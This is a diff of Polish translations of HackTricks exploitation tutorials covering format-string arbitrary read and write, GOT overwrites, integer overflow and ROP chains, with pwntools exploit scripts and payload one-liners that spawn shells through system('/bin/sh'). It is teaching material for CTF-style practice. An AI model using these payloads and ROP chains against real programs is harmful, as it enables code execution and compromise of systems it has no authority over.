Możliwe jest użycie formatownika **`$n%s`** aby sprawić, że **`printf`** pobierze **adres** znajdujący się na **pozycji n**, a następnie **wyświetli go jakby był to łańcuch znaków** (wyświetli do momentu znalezienia 0x00). Dlatego jeśli bazowy adres binarny to **`0x8048000`**, a wiemy, że dane użytkownika zaczynają się na 4. pozycji na stosie, możliwe jest wyświetlenie początku binarnego za pomocą:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -86,30 +86,30 @@ Należy pamiętać, że nie można umieścić adresu 0x8048000 na początku wej
|
|||
|
||||
## **Arbitrary Write**
|
||||
|
||||
Formatter **`$<num>%n`** **zapisuje** liczbę zapisanych bajtów pod wskazanym adresem w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$<num>%n`** zapisze dowolną liczbę pod dowolnym adresem.
|
||||
Formatter **`$<num>%n`** zapisuje **liczbę zapisanych bajtów** pod wskazanym adresem w parametrze \<num> na stosie. Jeśli atakujący może zapisać tyle znaków, ile chce za pomocą printf, będzie mógł spowodować, że **`$<num>%n`** zapisze dowolną liczbę pod dowolnym adresem.
|
||||
|
||||
Na szczęście, aby zapisać liczbę 9999, nie trzeba dodawać 9999 "A" do wejścia, można użyć formatera **`%.<num-write>%<num>$n`** do zapisania liczby **`<num-write>`** w **adresie wskazywanym przez pozycję `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Jednakże zauważ, że zazwyczaj aby zapisać adres tak jak `0x08049724` (co jest OGROMną liczbą do zapisania naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla dwóch najwyższych bajtów adresu i drugi raz dla pozostałych.
|
||||
Jednakże zauważ, że zazwyczaj aby zapisać adres tak jak `0x08049724` (co jest OGROMną liczbą do zapisania naraz), **używa się `$hn`** zamiast `$n`. Pozwala to **zapisać tylko 2 bajty**. Dlatego ta operacja jest wykonywana dwukrotnie, raz dla najstarszych 2B adresu i drugi raz dla młodszych.
|
||||
|
||||
Ta podatność pozwala na **zapisanie czegokolwiek pod dowolny adres (arbitrary write).**
|
||||
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w **tabeli GOT**, która zostanie wywołana później. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:
|
||||
W tym przykładzie celem będzie **nadpisanie** **adresu** **funkcji** w tabeli **GOT**, która zostanie później wywołana. Chociaż można to wykorzystać do innych technik zapisu arbitralnego do wykonania:
|
||||
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Nadpiszemy **funkcję**, która **otrzymuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\
|
||||
Nadpiszemy **funkcję**, która **przyjmuje** swoje **argumenty** od **użytkownika** i **wskażemy** ją na funkcję **`system`**.\
|
||||
Jak wspomniano, aby zapisać adres, zazwyczaj potrzebne są 2 kroki: Najpierw **zapisujesz 2 bajty** adresu, a następnie pozostałe 2. Do tego używa się **`$hn`**.
|
||||
|
||||
* **HOB** odnosi się do 2 najwyższych bajtów adresu
|
||||
* **LOB** odnosi się do 2 najniższych bajtów adresu
|
||||
* **HOB** odnosi się do 2 najstarszych bajtów adresu
|
||||
* **LOB** odnosi się do 2 najmłodszych bajtów adresu
|
||||
|
||||
Następnie, ze względu na sposób działania formatu łańcuchów, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\] a następnie drugi.
|
||||
Następnie, ze względu na sposób działania łańcucha formatującego, musisz **najpierw zapisać mniejszy** z \[HOB, LOB\], a następnie drugi.
|
||||
|
||||
Jeśli HOB < LOB\
|
||||
`[adres+2][adres]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
|
@ -127,7 +127,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
|||
|
||||
### Szablon Pwntools
|
||||
|
||||
Możesz znaleźć szablon do przygotowania exploitu dla tego rodzaju podatności w:
|
||||
Możesz znaleźć **szablon** do przygotowania exploitu dla tego rodzaju podatności w:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
|
|
@ -154,15 +154,15 @@ p.interactive()
|
|||
```
|
||||
## Formatowanie łańcuchów do przepełnienia bufora
|
||||
|
||||
Możliwe jest nadużycie działań zapisu podatności na łańcuchy formatujące do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**.
|
||||
Możliwe jest nadużycie działań zapisu podatności na formatowanie łańcuchów do **zapisywania adresów ze stosu** i wykorzystanie podatności typu **przepełnienie bufora**.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/pico18\_echo/index.html)
|
||||
* 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie łańcuchów formatujących do wycieku flagi ze stosu (nie ma potrzeby zmiany przepływu wykonania)
|
||||
* 32 bity, brak relro, brak canary, nx, brak pie, podstawowe użycie formatowania łańcuchów do wycieku flagi ze stosu (nie trzeba zmieniać przepływu wykonania)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, formatowanie łańcuchów do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, co spowoduje wykonanie przekazanych poleceń.
|
||||
* 32 bity, relro, brak canary, nx, brak pie, formatowanie łańcuchów do zapisania adresu wewnątrz funkcji main w `.fini_array` (aby przepływ znowu się zapętlił) i zapisania adresu `system` w tabeli GOT wskazującej na `strlen`. Gdy przepływ wraca do funkcji main, `strlen` jest wykonywane z wejściem użytkownika i wskazując na `system`, wykonuje przekazane polecenia.
|
||||
|
|
|
|||
|
|
@ -1,14 +1,16 @@
|
|||
# Szablon łańcuchów formatujących
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
```python
|
||||
|
|
@ -148,6 +150,7 @@ format_string.execute_writes()
|
|||
# control the parameters passed to printf to execute arbitrary code.
|
||||
|
||||
P.interactive()
|
||||
|
||||
```
|
||||
<details>
|
||||
|
||||
|
|
@ -158,7 +161,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
W centrum przepełnienia liczb całkowitych leży ograniczenie narzucone przez **rozmiar** typów danych w programowaniu komputerowym i **interpretację** danych.
|
||||
W centrum **przepełnienia liczb całkowitych** leży ograniczenie narzucone przez **rozmiar** typów danych w programowaniu komputerowym i **interpretację** danych.
|
||||
|
||||
Na przykład **8-bitowa liczba całkowita bez znaku** może reprezentować wartości od **0 do 255**. Jeśli spróbujesz przechować wartość 256 w 8-bitowej liczbie całkowitej bez znaku, zawiśnie ona do 0 ze względu na ograniczenie jej pojemności. Podobnie, dla **16-bitowej liczby całkowitej bez znaku**, która może przechowywać wartości od **0 do 65 535**, dodanie 1 do 65 535 spowoduje zawinięcie wartości z powrotem do 0.
|
||||
|
||||
|
|
@ -42,30 +42,7 @@ println!("{}", add_result);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="C" %}
|
||||
|
||||
## Przepełnienie liczb całkowitych
|
||||
|
||||
Przepełnienie liczb całkowitych występuje, gdy wynik operacji arytmetycznej przekracza maksymalną wartość, jaką można przechować w danym typie danych. Może to prowadzić do nieoczekiwanych zachowań programu, w tym potencjalnych luk w zabezpieczeniach.
|
||||
|
||||
Przykład:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
int main() {
|
||||
int a = 2147483647; // maksymalna wartość typu int
|
||||
a = a + 1;
|
||||
printf("%d\n", a); // wynik będzie nieprzewidywalny
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
W powyższym przykładzie dodanie 1 do zmiennej `a`, która ma już maksymalną wartość typu `int`, spowoduje przepełnienie, co skutkuje nieprzewidywalnym zachowaniem programu.
|
||||
|
||||
Przepełnienia liczb całkowitych są częstym źródłem błędów w programach i mogą być wykorzystane przez hakerów do manipulacji programem.
|
||||
|
||||
{% endtab %}
|
||||
{% tab title="C" %}W przypadku przepełnienia liczb całkowitych, wartość przekraczająca maksymalną wartość, którą można przechować w danym typie danych, może spowodować błąd lub zachowanie nieoczekiwane. Przepełnienie liczb całkowitych może być wykorzystane do wykonania ataku, który umożliwia wykonanie złośliwego kodu lub przejęcie kontroli nad programem. Aby zapobiec przepełnieniom liczb całkowitych, zawsze należy sprawdzać i kontrolować zakres wartości, z którymi program operuje.{% endtab %}
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <limits.h>
|
||||
|
|
@ -88,7 +65,7 @@ return 0;
|
|||
|
||||
### Czyste przepełnienie
|
||||
|
||||
Wydrukowany wynik będzie wynosił 0, ponieważ przepełniliśmy typ danych char:
|
||||
Wydrukowany wynik będzie wynosił 0, ponieważ przepełniliśmy typ char:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
|
@ -99,9 +76,9 @@ printf("Result: %d\n", result); // Expected to overflow
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
### Konwersja ze znakowanej na nieznakowaną
|
||||
### Konwersja ze znaku na liczbę bez znaku
|
||||
|
||||
Rozważ sytuację, w której liczba całkowita ze znakiem jest odczytywana z wejścia użytkownika, a następnie używana w kontekście traktującym ją jako liczbę całkowitą bez znaku, bez odpowiedniej walidacji:
|
||||
Rozważ sytuację, w której liczba ze znakiem jest odczytywana z wejścia użytkownika, a następnie używana w kontekście traktującym ją jako liczbę bez znaku, bez odpowiedniej walidacji:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
|
||||
|
|
@ -151,6 +128,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -10,34 +10,38 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## **Podstawowe informacje**
|
||||
|
||||
**Return-Oriented Programming (ROP)** to zaawansowana technika eksploatacji używana do obejścia środków bezpieczeństwa takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwania i wykonania shellcode'u, atakujący wykorzystuje fragmenty kodu już obecnego w binarnym pliku lub w załadowanych bibliotekach, znanych jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety ze sobą, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, efektywnie omijając zabezpieczenia NX/DEP.
|
||||
**Return-Oriented Programming (ROP)** to zaawansowana technika eksploatacji używana do obejścia zabezpieczeń takich jak **No-Execute (NX)** lub **Data Execution Prevention (DEP)**. Zamiast wstrzykiwać i wykonywać shellcode, atakujący wykorzystuje fragmenty kodu już obecnego w binarnym pliku lub w załadowanych bibliotekach, znanych jako **"gadżety"**. Każdy gadżet zazwyczaj kończy się instrukcją `ret` i wykonuje małą operację, taką jak przenoszenie danych między rejestrami lub wykonywanie operacji arytmetycznych. Łącząc te gadżety ze sobą, atakujący może skonstruować ładunek w celu wykonania dowolnych operacji, skutecznie omijając zabezpieczenia NX/DEP.
|
||||
|
||||
### Jak działa ROP
|
||||
|
||||
1. **Przechwycenie przepływu sterowania**: Najpierw atakujący musi przejąć kontrolę nad przepływem programu, zazwyczaj wykorzystując przepełnienie bufora do nadpisania zapisanego adresu powrotu na stosie.
|
||||
2. **Łańcuchowanie gadżetów**: Atakujący następnie starannie wybiera i łączy gadżety, aby wykonać pożądane akcje. Może to obejmować ustawienie argumentów dla wywołania funkcji, wywołanie funkcji (np. `system("/bin/sh")`) i obsługę koniecznego sprzątania lub dodatkowych operacji.
|
||||
3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca wartość, zamiast powrócić do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
|
||||
3. **Wykonanie ładunku**: Gdy podatna funkcja zwraca wartość, zamiast wracać do prawidłowej lokalizacji, zaczyna wykonywać łańcuch gadżetów.
|
||||
|
||||
### Narzędzia
|
||||
|
||||
Zazwyczaj gadżety można znaleźć za pomocą [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) lub bezpośrednio z **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
|
||||
|
||||
## Łańcuch ROP w przykładzie x86
|
||||
|
||||
### **Konwencje wywoływania x86 (32-bitowe)**
|
||||
|
||||
* **cdecl**: Wywołujący czyści stos. Argumenty funkcji są przekazywane na stosie w odwrotnej kolejności (od prawej do lewej). **Argumenty są przekazywane na stosie od prawej do lewej.**
|
||||
* **stdcall**: Podobnie jak cdecl, ale odbiorca jest odpowiedzialny za czyszczenie stosu.
|
||||
* **stdcall**: Podobnie jak cdecl, ale wywoływany jest odpowiedzialny za czyszczenie stosu.
|
||||
|
||||
### **Znajdowanie gadżetów**
|
||||
|
||||
Najpierw załóżmy, że zidentyfikowaliśmy niezbędne gadżety w binarnym pliku lub jego załadowanych bibliotekach. Interesują nas gadżety:
|
||||
|
||||
* `pop eax; ret`: Ten gadżet ściąga wartość ze szczytu stosu do rejestru `EAX`, a następnie zwraca, umożliwiając kontrolę nad `EAX`.
|
||||
* `pop ebx; ret`: Podobnie jak powyższy, ale dla rejestru `EBX`, umożliwiając kontrolę nad `EBX`.
|
||||
* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji pamięci wskazywanej przez `EBX`, a następnie zwraca.
|
||||
* `pop eax; ret`: Ten gadżet ściąga wartość ze szczytu stosu do rejestru `EAX`, a następnie zwraca, umożliwiając nam kontrolę nad `EAX`.
|
||||
* `pop ebx; ret`: Podobnie jak powyższe, ale dla rejestru `EBX`, umożliwiając kontrolę nad `EBX`.
|
||||
* `mov [ebx], eax; ret`: Przenosi wartość z `EAX` do lokalizacji pamięci wskazywanej przez `EBX`, a następnie zwraca. Jest to często nazywane **gadżetem write-what-where**.
|
||||
* Dodatkowo mamy dostępny adres funkcji `system()`.
|
||||
|
||||
### **Łańcuch ROP**
|
||||
|
|
@ -59,7 +63,7 @@ p = process(binary.path)
|
|||
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))
|
||||
|
||||
# Address of system() function (hypothetical value)
|
||||
system_addr = 0xdeadcode
|
||||
system_addr = 0xdeadc0de
|
||||
|
||||
# A gadget to control the return address, typically found through analysis
|
||||
ret_gadget = 0xcafebabe # This could be any gadget that allows us to control the return address
|
||||
|
|
@ -85,13 +89,13 @@ p.interactive()
|
|||
|
||||
### **Konwencje wywoływania w architekturze x64 (64-bitowej)**
|
||||
|
||||
* Wykorzystuje konwencję wywoływania **System V AMD64 ABI** w systemach typu Unix, gdzie **pierwsze sześć argumentów całkowitoliczbowych lub wskaźników jest przekazywanych w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
|
||||
* Konwencja wywoływania w systemie **Windows x64** wykorzystuje rejestry `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitoliczbowych lub wskaźników, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
|
||||
* Wykorzystuje konwencję wywoływania **System V AMD64 ABI** w systemach przypominających Unix, gdzie **pierwsze sześć argumentów całkowitoliczbowych lub wskaźników jest przekazywanych w rejestrach `RDI`, `RSI`, `RDX`, `RCX`, `R8` i `R9`**. Dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
|
||||
* Konwencja wywoływania w systemach **Windows x64** wykorzystuje rejestry `RCX`, `RDX`, `R8` i `R9` dla pierwszych czterech argumentów całkowitoliczbowych lub wskaźników, a dodatkowe argumenty są przekazywane na stosie. Wartość zwracana jest umieszczana w rejestrze `RAX`.
|
||||
* **Rejestry**: 64-bitowe rejestry obejmują `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` oraz `R8` do `R15`.
|
||||
|
||||
#### **Znajdowanie Gadgetów**
|
||||
|
||||
W naszym przypadku skupimy się na gadżetach, które pozwolą nam ustawić rejestr **RDI** (aby przekazać ciąg **"/bin/sh"** jako argument do funkcji **system()**) i następnie wywołać funkcję **system()**. Załóżmy, że zidentyfikowaliśmy następujące gadżety:
|
||||
W naszym przypadku skupimy się na gadżetach, które umożliwią nam ustawienie rejestru **RDI** (aby przekazać ciąg **"/bin/sh"** jako argument do funkcji **system()**) i następnie wywołanie funkcji **system()**. Załóżmy, że zidentyfikowaliśmy następujące gadżety:
|
||||
|
||||
* **pop rdi; ret**: Usuwa wartość ze stosu do rejestru **RDI** i następnie zwraca. Istotne do ustawienia argumentu dla **system()**.
|
||||
* **ret**: Proste zakończenie, przydatne do wyrównania stosu w niektórych scenariuszach.
|
||||
|
|
@ -102,7 +106,7 @@ I znamy adres funkcji **system()**.
|
|||
|
||||
Poniżej znajduje się przykład wykorzystujący **pwntools** do skonfigurowania i wykonania łańcucha ROP mającego na celu wykonanie **system('/bin/sh')** na architekturze **x64**:
|
||||
```python
|
||||
pythonCopy codefrom pwn import *
|
||||
from pwn import *
|
||||
|
||||
# Assuming we have the binary's ELF and its process
|
||||
binary = context.binary = ELF('your_binary_here')
|
||||
|
|
@ -139,35 +143,35 @@ W tym przykładzie:
|
|||
|
||||
* Wykorzystujemy gadżet **`pop rdi; ret`** do ustawienia **`RDI`** na adres **`"/bin/sh"`**.
|
||||
* Bezpośrednio skaczemy do **`system()`** po ustawieniu **`RDI`**, z adresem **system()** w łańcuchu.
|
||||
* Jeśli docelowe środowisko tego wymaga, używany jest gadżet **`ret_gadget`** do wyrównania, co jest bardziej powszechne w **x64** w celu zapewnienia poprawnego wyrównania stosu przed wywołaniem funkcji.
|
||||
* **`ret_gadget`** jest używany do wyrównania, jeśli środowisko docelowe tego wymaga, co jest bardziej powszechne w **x64** w celu zapewnienia odpowiedniego wyrównania stosu przed wywołaniem funkcji.
|
||||
|
||||
### Wyrównanie stosu
|
||||
|
||||
**ABI x86-64** zapewnia, że **stos jest wyrównany do 16 bajtów** podczas wykonywania instrukcji **call**. **LIBC**, w celu optymalizacji wydajności, **korzysta z instrukcji SSE** (takich jak **movaps**), które wymagają tego wyrównania. Jeśli stos nie jest właściwie wyrównany (czyli **RSP** nie jest wielokrotnością 16), wywołania funkcji takich jak **system** zawiodą w łańcuchu **ROP**. Aby to naprawić, po prostu dodaj **gadżet ret** przed wywołaniem **system** w swoim łańcuchu ROP.
|
||||
**ABI x86-64** zapewnia, że **stos jest wyrównany do 16 bajtów** podczas wykonywania instrukcji **call**. **LIBC**, w celu zoptymalizowania wydajności, **używa instrukcji SSE** (takich jak **movaps**), które wymagają tego wyrównania. Jeśli stos nie jest odpowiednio wyrównany (czyli **RSP** nie jest wielokrotnością 16), wywołania funkcji takich jak **system** zawiodą w łańcuchu **ROP**. Aby to naprawić, po prostu dodaj **gadżet ret** przed wywołaniem **system** w swoim łańcuchu ROP.
|
||||
|
||||
## Główne różnice między x86 a x64
|
||||
|
||||
{% hint style="success" %}
|
||||
Ponieważ x64 używa rejestrów dla kilku pierwszych argumentów, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju exploitów, zwłaszcza w kontekście Return-Oriented Programming (ROP).
|
||||
Ponieważ **x64 używa rejestrów dla kilku pierwszych argumentów**, często wymaga mniej gadżetów niż x86 do prostych wywołań funkcji, ale znalezienie i łączenie odpowiednich gadżetów może być bardziej skomplikowane ze względu na zwiększoną liczbę rejestrów i większą przestrzeń adresową. Zwiększona liczba rejestrów i większa przestrzeń adresowa w architekturze **x64** stanowią zarówno szanse, jak i wyzwania dla rozwoju exploitów, zwłaszcza w kontekście Return-Oriented Programming (ROP).
|
||||
{% endhint %}
|
||||
|
||||
## Zabezpieczenia przed ROP
|
||||
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): Te zabezpieczenia sprawiają, że korzystanie z ROP jest trudniejsze, ponieważ adresy gadżetów zmieniają się między wykonaniami.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): W przypadku przepełnienia bufora, konieczne jest ominięcie ustawionego canary stosu, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
|
||||
* [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): W przypadku przepełnienia bufora, konieczne jest ominięcie stosowanego canary, aby nadpisać wskaźniki powrotu i wykorzystać łańcuch ROP.
|
||||
* **Brak Gadżetów**: Jeśli nie ma wystarczającej liczby gadżetów, nie będzie możliwe wygenerowanie łańcucha ROP.
|
||||
|
||||
## Techniki oparte na ROP
|
||||
|
||||
Zauważ, że ROP to tylko technika służąca do wykonania dowolnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:
|
||||
Zauważ, że ROP to tylko technika służąca do wykonania arbitralnego kodu. Na podstawie ROP opracowano wiele technik Ret2XXX:
|
||||
|
||||
* **Ret2lib**: Użyj ROP, aby wywołać dowolne funkcje z załadowanej biblioteki z dowolnymi parametrami (zwykle coś w rodzaju `system('/bin/sh')`.
|
||||
* **Ret2lib**: Użyj ROP, aby wywołać arbitralne funkcje z załadowanej biblioteki z arbitralnymi parametrami (zwykle coś w rodzaju `system('/bin/sh')`.
|
||||
|
||||
{% content-ref url="ret2lib/" %}
|
||||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall**: Użyj ROP do przygotowania wywołania syscall, np. `execve`, i wykonaj dowolne polecenia.
|
||||
* **Ret2Syscall**: Użyj ROP, aby przygotować wywołanie syscall, np. `execve`, i spraw, aby wykonywał arbitralne polecenia.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
|
|
@ -183,4 +187,18 @@ Zauważ, że ROP to tylko technika służąca do wykonania dowolnego kodu. Na po
|
|||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html)
|
||||
* 64 bit, Pie i nx włączone, brak canary, nadpisz RIP adresem `vsyscall` wyłącznie w celu powrotu do następnego adresu na stosie, który będzie częściowym nadpisaniem adresu, aby uzyskać część funkcji wyciekającej flagę
|
||||
* 64 bit, Pie i nx włączone, brak canary, nadpisz RIP adresem `vsyscall` wyłącznie w celu powrotu do następnego adresu na stosie, który będzie częściowym nadpisaniem adresu, aby uzyskać część funkcji, która ujawnia flagę
|
||||
|
||||
<details>
|
